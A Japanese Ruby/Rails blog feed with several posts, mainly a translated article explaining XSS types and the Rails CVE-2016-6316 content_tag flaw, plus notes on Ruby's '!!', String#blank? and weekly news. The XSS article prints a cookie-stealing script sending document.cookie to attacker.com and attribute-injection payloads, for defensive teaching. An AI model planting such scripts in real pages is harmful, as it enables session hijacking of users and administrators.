テスト testing/assertions.rb、testing/file_fixtures.rbなど
時間 time_with_zone.rb、values/time_zone.rbなど
XML・Nokogiri xml_mini/libxml.rb、xml_mini/nokogirisax.rbなど
その他 array_inquirer.rb, backtrace_cleaner.rb, benchmarkable.rb, , callbacks.rb, concern.rb, configurable.rb, , descendants_tracker.rb, evented_file_update_checker.rb, execution_wrapper.rb, executor.rb, file_update_checker.rb, gem_version.rb, gzip.rb, hash_with_indifferent_access.rb, i18n_railtie.rb, , key_generator.rb, lazy_load_hooks.rb, , option_merger.rb, ordered_hash.rb, ordered_options.rb, per_thread_registry.rb, proxy_object.rb, railtie.rb, reloader.rb, rescuable.rb, security_utils.rb, string_inquirer.rb, subscriber.rb, tagged_logging.rb, , version.rb

機能の整理は大変だということを痛感させられます。

今後について

Active Supportの全体像がおおよそ見えたところで、この中から比較的取り組みやすそうな文字列系のコア機能拡張を今後順次見ていきたいと思います。

ご期待ください。

参考:

関連記事

[翻訳] そのパッチをRailsに当てるべきかを考える 🌟

$
0
0

こんにちは、hachi8833です。

先週の界隈ウォッチで金星を取った「Do I really need to patch my Rails apps? (Understanding CVE-2016-6316)」を翻訳いたしました。

このような手順は、ベテランのフルスタックエンジニアwなら誰しも行っていることですが、ベテランにとっては当たり前のことであるだけに、このように丁寧に手順を解説してくれる記事は貴重です。また、XSS脆弱性のよい解説にもなっています。

なお、翻訳後に文章を最適化していますので、逐次的に原文と訳文が対応しているとは限りません。

また、元記事にはRailsのXSSとセキュリティのチートシートを無料でダウンロードできるフォームもあります。リンクか以下の画像をクリックしてください。

そのパッチをRailsに当てるべきかを考える

原題: Do I really need to patch my Rails apps? (Understanding CVE-2016-6316)
元記事URL: http://ducktypelabs.com/do-i-really-need-to-upgrade-my-rails-apps/
著者: Sid KrishnanはカナダのトロントでDuck Type Labsというコンサルティングを運営する開発者です。

RubyやRailsで出されるセキュリティ勧告では、Railsアプリケーションを「常に」できるだけ早くアップグレードすることを推奨しています。 残念ながら、修正されるセキュリティ問題についての説明はわかりにくいものが多く、アップグレードが本当に必要かどうかを判断するのは簡単ではありません。

時間や工数が限られているのであれば、内容によってはアップグレードを延期し、壊れたテストの修正に余分な時間をかけない方が判断として優れていることもあります。

:本記事における「アップグレード」は、「マイナー」アップグレードと「パッチ」のアップグレードを指します(訳注: 「メジャー」アップグレードは含んでいません)。例: Rails 4.2.5.1から4.2.7.1へのアップグレード

本記事では、Railの5.0.0.1/4.2.7.1/3.2.22.3で修正されるCVE-2016―6316を例にとって説明します。本記事のねらいは次のとおりです。

  • XSS脆弱性の基礎、悪用方法、脆弱性の軽減方法の解説
  • Rails 5.0.0.1/4.2.7.1で解決されるActionViewのXSS脆弱性[CVE-2016―6316]を題材にした個別の問題の理解の仕方の解説
  • アップグレードすべきかどうかを自分で判断する方法の解説

XSSの脆弱性について

XSSはクロスサイトスクリプティング(cross-site scripting)の略です。 アプリケーションにXSSの脆弱性が潜んでいると、攻撃者は悪質なJavascriptをユーザーのブラウザで実行できます。次のようなJavascriptスニペットを例にとってみましょう。

var i = new Image;
i.src = "http://attacker.com/" + document.cookie;

上のスニペットがユーザーのブラウザで実行されると、攻撃者が用意したattacker.comへのリクエストが作成され、ユーザーのcookieが無断で送信されます。攻撃者がcookieを入手すると、ユーザーのセッションをハイジャックして、アプリケーションの保護領域に不正にアクセスするかもしれません。

XSS脆弱性の種類

XSS脆弱性は、大きく分けて以下の3つがあります。

Reflected XSS

Reflected XSS脆弱性は、Webアプリケーションへのリクエストに含まれるユーザー入力が即座にレスポンスに反映されるときに発生します。

Reflected XSSの脆弱性を悪用するには、リクエストを行うすべてのユーザーに反映される埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。

Stored XSS

あるユーザー(攻撃者)が送信したデータがアプリケーションに格納され、適切にサニタイズされずに他のユーザーに表示されると、Stored XSS脆弱性が発生します。

DOMベースXSS

DOMベースXSS脆弱性は、リクエストのURLやレスポンスのHTML(DOM経由でアクセス可能)に含まれるデータをクライアント側のJavascriptで抽出して、ページのコンテンツを動的に更新するときに発生します。

DOMベースXSSの脆弱性を悪用するには、クライアント側のJavaScriptから悪質なJavaScriptをDOMに挿入して実行させる能力のある埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。

3種類のXSSについて、詳しくはOWASPの該当ページ(英語)をお読みください

この記事では、2番目のStored XSSに絞って解説します。

Stored XSS脆弱性を利用して攻撃する方法

こうした脆弱性がどのように発生する可能性があり、攻撃者がその脆弱性をどのようにして利用する可能性があるかを示す例を、ここで考えてみましょう。

脆弱なRailsアプリ

ユーザーアカウントと管理者アカウントのある、ごく普通のRailsアプリケーションを考えてみましょう。

1件のユーザーレコードには、nameemailintroductionの3つのフィールドがあるとします。各ユーザーには、これらの情報が表示されるプロファイルページがあります。

このシステムの管理者は、個別ユーザーのプロファイルページのほかに、全ユーザーの情報を表示できる/users/ページにもアクセスできます。そのページのビューの冒頭で次のコードが使われているとします。

<% #This is accessible only to admins %>
<% User.all.each do |user| %>
  <%= user.name %>
  <%= user.email %>
  <%= user.introduction %>
<% end %>

さて、ユーザが自己紹介文をHTMLで書けるように改修することが決まったとします。自己紹介(introduction)フィールドに"I'm awesome!!"と書く代わりに"I'm <strong>awesome!!</strong>"と書けるようにするわけです。

そこで(ついうっかり)html_safeヘルパーを使ってuser.introductionuser.introduction.html_safeに変更しましたとしましょう。ユーザーがHTML形式のテキストを送信すると、見事HTMLビューが表示されます。うまくいったように見えます。

攻撃者はこうやって攻略する

上のようなHTMLレンダリングは、攻撃者によって悪用されます。攻撃者がintroductionフィールドに次の文字列を入力したとします。

I am awesome!!
<script>
  var i = new Image;
  i.src = "http://attacker.com/" + document.cookie;
</script>

上の文字列がデータベースに格納されてしまったら最後、管理者がログインして/usersページを表示した瞬間、上のスクリプトが実行され、管理者のcookieが攻撃者のサーバー(attacker.com)のログに記録されてしまうでしょう。

管理者のcookieを盗み出してしまえば、攻撃者が管理者としてログインする可能性はもちろん、もっと悪辣なことをしでかす可能性すらあります。

html_safeで脆弱性を呼び込んでしまう別の例

上では、html_safeによってXSSの脆弱性が呼び込まれる簡単な例を紹介しました。ユーザーが入力を自由にカスタマイズできるようにしたかったばかりに、ユーザー入力にhtml_safeをストレートに適用してしまったのでした。

html_safeによって呼び込まれてしまうXSS脆弱性の例をもうひとつご紹介しましょう。今度は、ユーザーが入力した文字列にスタイルを適用したいとします。先ほどのRailsアプリの/usersページで、今度はFont Awesomeをインストールし、それを使って管理者がユーザーのプロファイルページ上のリンクにスタイルを追加できるようにします。ビューのコードは以下のような感じになるでしょう。

<% User.all.each do |user| %>
  <%= link_to "<i class='fa fa-user'></i> #{user.name}".html_safe, users_profile_path(user) %>
  <%= user.email %>
  <%= user.introduction %>
<% end %>

前述の例と同様、このコードも管理者のアカウントをXSS攻撃にさらすことになります。 攻撃者がnameフィールドにJavaScriptを書いて送信すれば、管理者アカウントにアクセスできてしまう可能性があります。

アプリを危険にさらさずにhtml_safeを使うには

html_safeアサーションであるため、html_safeを「信頼できない文字列」に適用しないことが重要です。html_safeの文字列とhtml_safeでない文字列を連結することはできますが、その場合はhtml_safeでない文字列が確実にエスケープされるよう注意する必要があります。

<%= link_to "<i class='fa fa-user'></i> ".html_safe + "#{user.name}", users_profile_path(user) %>

上のコードであればuser.nameは適切にエスケープされます。これなら、仮に"Bob Foo<script>alert(document.cookie)</script>のような文字列がnameフィールドに入力されても、以下のように期待どおりエスケープされます。

<a href='...'><i class='fa fa-user'></i> Bob Foo&lt;script&gt;alert(document.cookie)&lt;/script&gt;</a>

以下のようなまずい状態にはなりませんので、nameフィールドに注入されたJavaScriptが実行されることはありません。

<a href='...'><i class='fa fa-user'></i> Bob Foo <script>alert(document.cookie)</script></a>

その他に、sanitizeヘルパーメソッドを使う方法もあります。sanitizeでは、レンダリングを許可するHTMLタグを個別に指定し、それ以外のHTMLタグはすべて自動的に拒否されます。

Railsビューに備わっているXSS保護機構

Rails 3以降では、html_safeが指定されていないコンテンツはすべてデフォルトでエスケープされるようになっています。html_safeの指定は、直接html_safeを呼ぶかsanitizeで間接的に行えます。同様に、content_taglink_toなどのActionViewヘルパーに渡される文字列もすべてデフォルトでエスケープされます。

CVE-2016-6316の事例

XSS脆弱性への攻撃方法は非常にたくさんあります。適切にエスケープされていない部分に<script>タグを注入する手法は、その中の1つにすぎません。たとえばでJavaScriptを直接呼び出せるonclickonmouseoverなどのHTML属性を利用することだってできるのです。

それではRailsのcontent_tagメソッドで実際の攻撃手法をご覧いただきましょう。content_tagヘルパーメソッドは、HTMLタグを直接書く代わりにプログラムで生成できます。たとえば<div>タグは次のように生成できます。

content_tag(:div, "hi")

このコードはHTMLで次のように表現されます。

<div>hi</div>

content_tagに引数を追加すれば、タグ属性を追加できます。title属性を追加したい場合は以下のようにします。

content_tag(:div, "hi", title: "greeting")

HTMLでは次のように表現されます。

<div title="greeting">hi</div>

さて、ユーザー入力が何らかの理由でこのtitle属性の内容に関連付けられているとしましょう。
つまり、「foo」と入力するとcontent_tagによって次のHTMLが生成されます。

<div title="foo">hi</div>

ここで仮にcontent_tagにXSS保護がないとしたら、攻撃者はどんなふうに攻略するでしょうか。

たとえば"onmouseover="alert(document.cookie)という文字列を入力すれば、次のようなHTMLが生成されてしまいます。

<div title="" onmouseover="alert(document.cookie)"> hi </div>

ポイントは、文字列冒頭にある二重引用符"です。もしここがエスケープされていなければ、この"が属性の文字列を閉じる引用符としてブラウザで処理され、"の後の文字列がまるごと有効なHTMLとして扱われてしまいます。

  • Railsでは二重引用符"はデフォルトでエスケープされます(content_tagヘルパーでもエスケープされます)。
  • しかしCVE-2016-6316の脆弱性は、content_tagなどのヘルパーでhtml_safeを適用した場合に発生します。

たとえば、ユーザー入力がコントローラからuser_inputインスタンス変数を介してビューに渡され、content_tagが次のように呼び出されるとしましょう。

<%= content_tag(:div, 'hi', title: @user_input) %>

攻撃者が例の"onmouseover=...のような文字列を注入したとしても、二重引用符"はRailsによって自動的にエスケープされ、XSS攻撃は成立しません。

ただし、Rails 4.2.7.1または5.0.0.1より前のバージョンでは、何らかの理由でユーザー入力に次のようにhtml_safeが適用されてしまっていた場合にこの脆弱性が生じます

<%= content_tag(:div, 'hi', title: @user_input.html_safe) %>

上のコードでは二重引用符"が通ってしまうため、エスケープされずにHTMLとしてレンダリングされてしまう可能性があります。つまり、攻撃者が任意のJavaScriptを実行できてしまうことになります。

Rails 4.2.7.1と5.0.0.1用のセキュリティパッチを適用することで、タグヘルパーの属性にhtml_safeを適用してしまっていた場合でも二重引用符"がエスケープされるようになります。

アップグレードすべきかどうかの最終判断

「アップグレードするべきでしょうか?」と聞かれれば、「はい」と答えるのが簡単ですし、間違いようがないのも確かです。セキュリティパッチを含むアップグレードならなおさらです。

アップグレードにセキュリティパッチが含まれていないとしても、今後セキュリティパッチを適用するときの手間を軽減するために、可能な限りアップグレードすべきです。

これについては、現状のRailのバージョンが最近リリースされたセキュリティパッチからどのぐらい古いかによって決まります。Railsのバージョンがセキュリティパッチに近ければ近いほど、アップグレードは楽に行なえます。一般に、セキュリティパッチは現在のコードベースを壊さないように作成されますが、直前までのセキュリティパッチがすべて適用済みでなければ新しいセキュリティパッチは適用できません。

作業時間や工数を確保するのが難しい場合でも、せめてセキュリティ情報と、それに関連するパッチによって修正される脆弱性を理解することには時間を割いてください。コードベースに危険が迫っているかをしっかり調査し、脆弱性を緩和するのに必要な方法があればすべて適用してください。

おすすめの対応方法

最も肝心なのは、「常にセキュリティ情報を収集すること」と「パッチがリリースされたらできるだけ速やかに適用する」ことです。そのために役立つ方法をひとつご紹介します。

bundler-auditはおすすめです。このgemを使うことで、セキュリティ情報のメーリングリストを常にチェックする代わりに、定期的にbundle-audit updateを実行することで最新情報をチェックできます。その代わりbundler-auditの実行そのものを忘れたら何にもなりませんのでご注意ください。

CIを導入しているなら、CIのついでにbundle-auditも実行するとよいでしょう。

古くなったgemがbundler-auditで検出されたら、bundle update <gem名>でgemを更新します。必要であればGemfile.lockファイルを直接修正します。

時間が許す限り、適用したパッチのセキュリティ情報をじっくり読み、その種の脆弱性全般についても時間を作って詳しく調べておくこともぜひおすすめします

本記事を参考にRailsにパッチを適用された方は、ぜひ経過やご感想を(元記事の)コメント欄でお知らせください。Railsのセキュリティについてお知りになりたいことがある方も、ぜひコメント欄にどうぞ。

最後に: 本記事の執筆をすすめてくれたChris Draneと、本記事をレビューしてくれたGabriel Williams(Cloud City)に感謝いたします。

Rubyの否定演算子2つ重ね「!!」(double-bang)でtrue/falseを返す

$
0
0

こんにちは、hachi8833です。

Rubyの否定演算子「!」を2つ重ねた「!!」を使ってメソッドの戻り値をtrue/falseに揃える方法を知ったのでメモします。以下、便宜上「二重感嘆符」と表記します。

対象

  • Ruby: 2.3.1
  • Rails: 5.1.0.alpha

core_ext/regexp.rbの二重感嘆符「!!

Active Supportをたどっていて、Rails 5.1.0.alphaのcore_ext/regexp.rbで以下のコードを見つけたのがきっかけでした。

def match?(string, pos = 0)
  !!match(string, pos)
end unless //.respond_to?(:match?)

気になったのは二重の感嘆符「!!」です。

!!match(string, pos)で呼び出しているRegexp#matchはRubyのコアメソッドで、マッチしない場合にnilを返します。

Rubyでは、truefalseのどちらか(論理値)だけを返すメソッド名の末尾にはmatch?のように疑問符を追加する慣習があります。

この二重感嘆符「!!」を使うと、nilを返すmatchメソッドを簡単にmatch?のように論理値メソッド化できます。

!!」の動作: すべてをtruefalseにする

ご存じのとおり、Rubyではnilfalse以外のオブジェクトはすべてtrueとして扱われます。そして否定の論理演算子「!」はtruefalseを反転します。

  • !nil #=> true
  • !!nil #=> false
  • !false #=> true
  • !!false #=> false
  • !!その他何でも #=> true

反転の反転は論理上何も変化をもたらしませんが、表現がtruefalseに揃えられるところがポイントです。

!!」を試してみる

Ruby 2.3.1で「!!」の動作を実際に確認してみます(注: Rails環境ではありません)。

" "で囲んだ文字列リテラルはさすがにwarningが表示されましたが、試した範囲ではいずれも論理値オブジェクトtruefalseに変換されました。

Ruby 2.3.1にRegexp#match?を導入してみる

!!」の動作を確認できたので、続けて先ほどの#match?を試しにRuby 2.3.1に導入してみましょう。

class Regexp
  def match?(string, pos = 0)
    !!match(string, pos)
  end
end

簡単のため、元のコードの末尾にあったunless //.respond_to?(:match?)は省略しています。

#match?が最小限の簡潔なコードで論理値を返すようになりました。if文を使わずに書けるところがキモチイイですね。

追記: core_ext/regexp.rbの#matchについて

core_ext/regexp.rb#match?メソッドは、2.4より前のRubyで#matchメソッドとの互換性を取るために、Ruby 2.4の登場に先がけて今年の夏頃masterに追加されたようです。

masterは5.1.0.alphaにつき、今後さらに変更される可能性がありますのでご了承ください。

Defines Regexp.match? for Ruby versions prior to 2.4. The predicate has the same interface, but it does not have the performance boost. It’s purpose is to be able to write 2.4 compatible code.

Xavier Noria
5.1.0.alpha の Active Support: CHANGELOG.mdより

追記: 感嘆符の呼び方について

感嘆符!」は日本語だとビックリマークとエクスクラメーションマークと書かれたりしますが、英語圏のプログラミング関連では「bang」と表記されることが多いようです。正式なexclamation markだと長ったらしいからでしょう。

二重感嘆符「!!」ならdouble-bangbang-bangなどと書かれることが多いので、ググる場合に参考にしてください。

Rubyでは値を変更する破壊的メソッド名の末尾に「!」を付ける慣習がありますが、これも英語圏ではbang methodと呼ばれることがよくあります。

おまけ

参考

[Rails5] Active Support Core ExtensionsのStringクラス(1)String#blank?

$
0
0

こんにちは、hachi8833です。

いよいよActive Support世界を探索してみます。最初のシリーズは、多くの開発者が直接使うことの多そうなCore Extensions(コア拡張機能)のなかから、さらによく使われていそうなStringを選びました。

第1回は、その中からさらにString#blank?にスポットを当ててみます。

始める前に

特記ない限り、Rails 5の執筆時点のアクティブなブランチを対象とします。Rubyについても執筆時点の最新リリースを対象とします。

  • Rails: 5.0.0.1(core_ext)
  • Ruby: 2.3.1(記事作成中に入れ違いで2.3.2がリリースされましたね)

本シリーズではライブラリを網羅的に紹介することはしません。そうした目的にはapi.rubyonrails.orgapidock.com/railsなどをご覧ください。

本シリーズでは、Core Extensionsは原則として英ママまたはcore_extと表記することにします。Railsガイドで「コア拡張機能」という訳語を当てたのは私なので恐縮ですが、あまりイケてなかったと思います。

activesupport/lib/active_support/core_ext

github.com/rails/railsの5.0.0.1 ブランチを開き、activesupport/lib/active_support/core_extまで降りてみましょう。ドラクエのダンジョンBGMでもどうぞ。

なお、記事作成時点のmasterブランチで最新のcore_extディレクトリを見ると、1年以上更新されていないファイルは1つ(name_error.rb)しかありませんが、5.0.0.1では同じぐらい更新されていないファイルが他にもあります。

Railsのmasterブランチは安定版ではなく、逆にmasterブランチでがんがん開発が進められているので、普段git-flowを使っていると「master=本番」と反射的に考えてしまうので、少々とまどいますね。

active_support/core_ext/string

ではもう1階層降りて、active_support/core_ext/stringを開いてみましょう。.rbファイルが13個あります。

おや、上の真っ赤なString一覧には.rbファイルが15個記載されていました。数が合いません。

よく見ると、Stringの一覧のうち、blank.rbとjson.rbだけはstring/ではなくobject/の下に置かれています。

何か理由があるのでしょうか。これはもうobject/を見てみるしかないでしょう。とりあえずblank.rbを開けてみます。

active_support/core_ext/object/blank.rb

おお、中はこうなっているのですね。なお短縮のため、途中のコードやコメントは省略しました。メソッド間の改行も詰めていますのでご了承ください。

## blank.rb
require "active_support/core_ext/regexp"
class Object
  def blank?
    respond_to?(:empty?) ? !!empty? : !self
  end
  def present?
    !blank?
  end
  def presence
    self if present?
  end
end

class NilClass
  def blank?
    true
  end
end

class FalseClass
  def blank?
    true
  end
end

class TrueClass
  def blank?
    false
  end
end

class Array
  alias_method :blank?, :empty?
end

class Hash
  alias_method :blank?, :empty?
end

class String
  BLANK_RE = /\A[[:space:]]*\z/
  def blank?
    empty? || BLANK_RE.match?(self)
  end
end
## 以下略

blank.rb全般

Objectクラスばかりでなく、さまざまなクラスに#blank?が仕込まれています。Active Support全般に言えることですが、1つ1つがとても短いコードが多いのが特徴です。これなら読み進められそうです。

ArrayクラスとHashクラス

  • ArrayクラスやHashクラスでは#blank?#empty?の別名としています。

そういえばRubyには以前から#empty?というメソッドがありました。

Rubyではnilfalseのみが偽(false)になります。一方、Webアプリケーションでは空文字列や空の検索結果なども例外的な処理対象としたい場面がよくあります。そのため、Railsには広い意味で「空(から)」と認定したいものを偽と判定するメソッドが用意されています。
Rails 3レシピブック』p346より、若干改変のうえ引用

つまり、Rubyの#empty?では意味が狭すぎるので、Rails向けに拡張したものが#blank?であるいうことです。ArrayクラスやHashクラスでは現状の動作をそのまま流用できるので、エイリアスだけを設定したのですね。

Stringクラス

本題のString#blank?です。

Stringクラスでは、空文字列もnilと認定したいので、次のようなコードになっています。

require "active_support/core_ext/regexp"
#略
class String
  BLANK_RE = /\A[[:space:]]*\z/
  def blank?
    empty? || BLANK_RE.match?(self)
  end
end
  • 正規表現を使うためにactive_support/core_ext/regexpをrequireしています。Ruby標準の正規表現そのままではなく、Active Supportで拡張した正規表現を使っているのですね。
  • /\A[[:space:]]*\z/という正規表現で、空白文字の連続にマッチさせています。

なお、Rubyの正規表現エンジンであるOnigmoでは、:space:について以下のように定義しています。空白文字といっても実はさまざまな種類があるので、個別の文字をいちいち指定するよりもこうしたメタ的な指定方法がよさそうです。

  • Unicode以外の場合: \t, \n, \v, \f, \r, \x20
  • Unicodeの場合: Space_Separator | Line_Separator | Paragraph_Separator | 0009 | 000A | 000B | 000C | 000D | 0085
  • empty? ||BLANK_RE.match?(self)で、nilか空白文字の連続であればtrueを返し、それ以外の場合はfalseを返します。

Railsコンソール(bundle exec rails c)で実行結果を確認してみました。

復習: Rubyはオープンクラス

Rubyはオープンクラス方式を採用しているので、Rubyスクリプトで読み込まれているクラスにその場で動的にメソッドを追加・変更できます。これは、相手がRubyの標準ライブラリであってもまったく同じようにできます。

また、Rubyスクリプトが終了すれば動的な変更も元に戻るので、他のRubyスクリプトに悪影響を与えずに済みます。

もちろん、ObjectやStringなどの基本的なクラスに手を加えれば、実行中のRubyスクリプト内で広範囲に影響を与えます。これを「強力」と呼ぶか「危険」と呼ぶかは使う人次第だと思います。

Railsを含むRubyプログラムで広く使われている「メタプログラミング」と呼ばれる技法では、このオープンクラスの特性が多用されています。

追伸: String#blank?がobject/blank.rbに置かれているのはなぜか

オープンクラスからString#blank?に話を戻します。

blank.rbを見ると、#blank?メソッドはObjectクラス、NilClassFalseClassTrueClassの三兄弟クラス、ArrayクラスにHashクラス、そしてStringクラスに追加されています。

クラスを使う側からすればString#blank?などと呼び出せればよいので、クラスのファイルをどのように配置するかは主にメンテナ側の都合で決まることが多いようです(あくまで私の印象ですが)。

一見すれば、core_ext/string/blank.rbというファイルを作ってそこでString#blank?を定義してもよさそうなものですが、他のクラスのblank?もまとめてobject/blank.rbファイルに置く方がcore_extメンテナにとって見通しがよいと思われたのかもしれません。

その一方、ActiveSupport::TimeWithZone#blank?ActiveRecord::Relation#blankのように、別のクラスファイルにも#blank?があったりします。これらが別になっている理由まではわかりませんが、歴史的経緯などが影響しているのではないかと推測しています。

こうしたクラス配置を原理主義的にびっちり再編成しようとしても労力の割に大したメリットがなかったりするので、メンテナにとって支障がなければ今後もこのままでいくのかもしれません。

後日談: core_ext/objectはメソッド名がファイル名になっていることが多い

BPS Webチーム部長のmorimorihogeさんとActive Supportを眺めていて、「core_ext/objectにはメソッド名がそのままファイル名になっているものが目につくね」という指摘がありました。

すべてではありませんが、言われてみると今回のblank.rbにはblank?メソッドがありますし、deep_dub.rbにはdeep_dubメソッドがあり、try.rbにはtryメソッドがまとまっている、という具合になっています。ディレクトリやメソッドをそういう目安で整理しているのかもしれません。

「core_ext/objectと比べてみると、たとえばcore_ext/stringはfilters.rbfiltersというメソッドがあるわけではないね。はっきりした根拠があるわけではないけれど、core_ext/stringは、メソッド名ではなく機能をファイル名にする方針なのかもしれない」とも。

多数のコミッターが日夜メンテを繰り返しているActive Supportには、そういった秩序があっても不思議ではありません。今度から、そういう視点にも気をつけてコードを見るようにします。

関連記事


Ruby/Rails界隈ウォッチ(2016/11/17)DockerホスティングのHyper.sh、accepts_nested_attributes_for殺すほか

$
0
0

こんにちは、hachi8833です。以下のツィートで果たして何人がずっこけたでしょうか。その後正式なアナウンスがありましたが、いろいろ入れ違いでしたね。

ところで、Google翻訳の品質が向上したのかそうでないのかについて、実は数値で判断する客観的な手段がないことにお気づきになりましたでしょうか?減点法が効かない段階に到達してしまえば、翻訳の品質は今のところ(もしかすると永遠に)眼力で判断するしかないんです。

臨時ニュース

早速ですが臨時ニュースを連続でお送りいたします。

[速報]マイクロソフトがThe Linux Foundationへ加盟、プラチナメンバーとして。Connect();//2016

日本語ですが、割と大ニュースですね。

Ruby 2.3.2リリース

詳しくはChangeLogをどうぞ。

私も昨晩アップグレードしようとしましたが、HomeBrewのruby-build.rbがなかなか更新されなかったのでGitHubのrbenvリポジトリからのgit pull方式に切り替えてインストールしました(現在は更新されています)。

DHH先生が「頃合い見計らってaccepts_nested_attributes_for殺す」って言っとる

参考

Hacker News

160928_1654_q6srdR

今週のトップは予想どおり「トランプ当選」ですね。

🌟Dockerホスティングサービスhyper.sh🌟

「5秒でデプロイ」を謳っています。

  • Hyper.shクラウド全体が単一サーバーとして動作
  • シンプルなワークフロー
  • 豊富なリソース
  • Dockerイメージをpullしてhyper runで5秒で起動
  • 終了も1秒
  • 秒単位の課金モデル

記事ではありませんが、今週の金星を進呈いたします。おめでとうございます。

この企画、きっと公式なんでしょうね。

ダメなエンジニアを見分けるたったひとつの方法

こちらが2位でした。方法は1つですがルールは6つぐらいありますねw。いいのかそれで。

ブラウザでのメディア自動再生を即刻やめていただきたい

開発者のための機械学習入門

研究者ではなく開発者のための、がポイントのようです。同じような記事はもう腐るほどありますが、短くまとまっていたのがウケたようです。今さらですが、機械学習のsupervised/unsupervisedはそれぞれ「教師あり」「教師なし」と訳されています。

morimorihogeさんが、この種の情報収集にナツメ社の図解雑学シリーズをおすすめしていました。「見開き2ページで1テーマ」という構成のおかげで実に読みやすいです。

追伸

中井悦司さんによるWebアプリケーションにおける機械学習活用の基礎──HTML5 Conference 2016セッションレポートも良記事ですね。

Ruby 公式

Ruby 2.4.0 preview 3リリース

いくつかのニュースは界隈ウォッチで報道済みなので、それ以外のものをピックアップします。

Martin先生(@duerst)のお仕事ですね(RubyKaigi 2016のプレゼン)。

Ruby Facets

Bundler 1.13リリース

実は9月のニュースですが、bundle doctorコマンドが便利そうなので取り上げました。homebrewのbrew doctorと同じ感覚で使えます。

Rails公式ニュース

2週分のニュースになっています。

11月11日分

Active Recordのコネクションプールにstatメソッドを追加

少し便利になった感ですね。

countクエリにlimit_valueを指定したときにunscope(:order)しないようにする

このコミットがどんなときにパフォーマンス上有効なのかが当初私どもで読み取れなかったので、まずコミッターの@kamipoさんの当時のツイートをmorimorihogeさんが掘り当ててくれました。

その後morimorihogeさんが@kamipoさんにTwitterで質問したところ、1時間もしないうちに詳しい回答をいただきました。ありがとうございます!以下のリンクを開けば続きのやりとりも見ることができます。

技術的な問題を解決するよいプロセスを目の当たりにすることができました。@kamipoさんによるgistの解説は自分で動かして確認できます。

#26990 JRubyでRails 5が動き出す

テストにパスしたそうです。

#26909 チェックイン時にコールバックせずにクエリキャッシュをクリア

#26978 コネクションプールでスレッドごとのクエリキャッシュを設定可能に

11月4日分

#25337 コールバック時のActiveRecord::Dirtyの動作が非推奨化

#26838 ActiveRecord::Core#sliceの引数で配列を使えるように

夏時間による期間変動問題の修正

いわゆる夏時間(サマータイム)は、米国では一般にDST(Daylight Saving Time)と表記します。

#26950 Active Recordを使ってない場合にはbinスクリプトにdb:migratedb:setupを含めないようにする

RailsでActive Recordを使わない場合というのがすぐには思い付きませんが、それなりに事例があるのでしょうね。

RubyFlow

160928_1638_XvIP4h

Ruby 2.4で正規表現マッチのキャプチャデータ取り出し方法を改良

キャプチャの名前とデータを#named_capturesメソッドで一度に取れるようになりました。

ElasticSearchで位置情報を検索する

cells gemでApplicationコントローラからbefore_filterを追放

ViewModelは、以前界隈ウォッチでもご紹介したTrailBrazercells gemが提供しています。

Ruby Weekly

MVCリファクタリングに役立つ7つのデザインパターン

ここで列挙されているのは以下のデザパタです。Techrachoの以前の記事『肥大化したActiveRecordモデルをリファクタリングする7つの方法(翻訳)』に通じる内容です。

  • Service Objects(およびInteractor Objects)
  • Value Objects
  • Form Objects
  • Query Objects
  • View Objects(Serializer/Presenter)
  • Policy Objects
  • Decorators

Github Trending

160928_1701_Q9dJIU

監視エージェントHuginn

GitHubの☆が15,00超えの人気Railsアプリです。GUIとビジュアル表示が洗練されている印象です。ネーミングは北欧神話の原型とされるギュルヴィたぶらかし: Gylfaginningに登場する2羽のカラスHuginnとMuninnが由来だそうです。

SQL脆弱性スキャナwhitewidow

新登場ですが期待できそうです。Rubyで書かれているので動作の検証もしやすいかと思います。

コードレビュー支援ツールDanger

CIサーバーに組み込んで、「ChangeLogに記入させる」「バグ管理やMRへのリンクを貼らせる」「よくあるアンチパターンを示す」などコードレビューの定番指示を自動化します。これもRubyで書かれています。ネーミングはあんまりですがw

Goの間

gops

Go言語専用のpsコマンドのようなものですが、デバッグ・診断機能を持っているところがポイントです。

無印枠

BigChainDB

オープンソースのブロックチェーンデータベースだそうです。

ddollar/foreman

新しくはありませんが、Procfileでプロセスを管理するソフトウェアで、Rubyで書かれています。詳しくはこちらのサイトを。

以前の界隈ウォッチで言及したgod gemなどの監視ツールにも通じますね。

今週は以上です。

関連記事

Active Support core_extのHash#diffはRails 4で非推奨化・廃止された

$
0
0

こんにちは、hachi8833です。新しい情報ではありませんが、Active Support Core ExtensionsのHash#diffは、Rails 4.0で非推奨化され、4.1で廃止されていたことを確認したのでメモします。

apidock.comではRails 3以降についての表示がありませんが(下図)、実際にはRails 3にもありました。

Rails 3から4にかけてのHash#diff

GitHubでは、以下のとおりRails 3.0〜3.1までHash#diffのコードがありました。

def diff(h2)
  dup.delete_if { |k, v| h2[k] == v }.merge!(h2.dup.delete_if { |k, v| has_key?(k) })
end

そして以下のようにRails 4.0で非推奨化(deprecated)され、4.1で廃止されました。

Hash#diff is no longer used inside of Rails, and is being deprecated with no replacement. If you’re using it to compare hashes for the purpose of testing, please use MiniTest’s assert_equal instead.
(大意)Hash#diffはRails内部で使われていないので非推奨化中。代替メソッドはなし。テストでハッシュの比較が必要であれば、MiniTestのassert_equalを使うこと。
diff.rbのメッセージより

MiniTestのassert_equal

Hash#diffの代わりに使って欲しいとあるassert_equalは、RailsではなくRubyのMiniTestのメソッドです。

# File lib/minitest/assertions.rb, line 171
def assert_equal exp, act, msg = nil
  msg = message(msg, E) { diff exp, act }
  assert exp == act, msg
end

追伸

http://apidock.com/の情報を訂正したいのですが、なぜかアカウント登録しようとするとエラーになって先に進めませんでした。後日再挑戦してみます。

参考

関連記事

Ruby/Rails界隈ウォッチ(2016/11/25)Railsのデータベース・ベストプラクティス、SQLインジェクション解説ほか

$
0
0

こんにちは、hachi8833です。昨日のTechRachoでお知らせしたとおり、RailsチュートリアルがRails 5に完全対応しました。それでは今週の界隈ウォッチです。

臨時ニュース

Ruby 2.3.3リリース

11月21日に2.3.3がリリースされました。

このリリースには Refinements と Module#prepend に関する不具合の修正が含まれています。 同じ Class に対して Module#refine と Module#prepend を併用すると意図しない NoMethodError が発生することがありました。 これは先日の Ruby 2.3.2 のリリースで入り込んだ不具合です。 詳しくは [Bug #12920] を参照してください。
ruby-lang.orgニュースより

Rails公式ニュース

CapybaraがRails 5.1での統合準備すすむ

統合後はRailsのテストフレームワークがActionSystemTestと呼ばれるようになるそうですが、また変わるかもしれませんね。最初Capybaraの名前が変わるのかと空目してしまいましたが、違いました。

なおBona fideはラテン語で「本物の」「真正の」といった意味です。

Ruby Weekly

RubyのC言語拡張機能を書く―2016年版

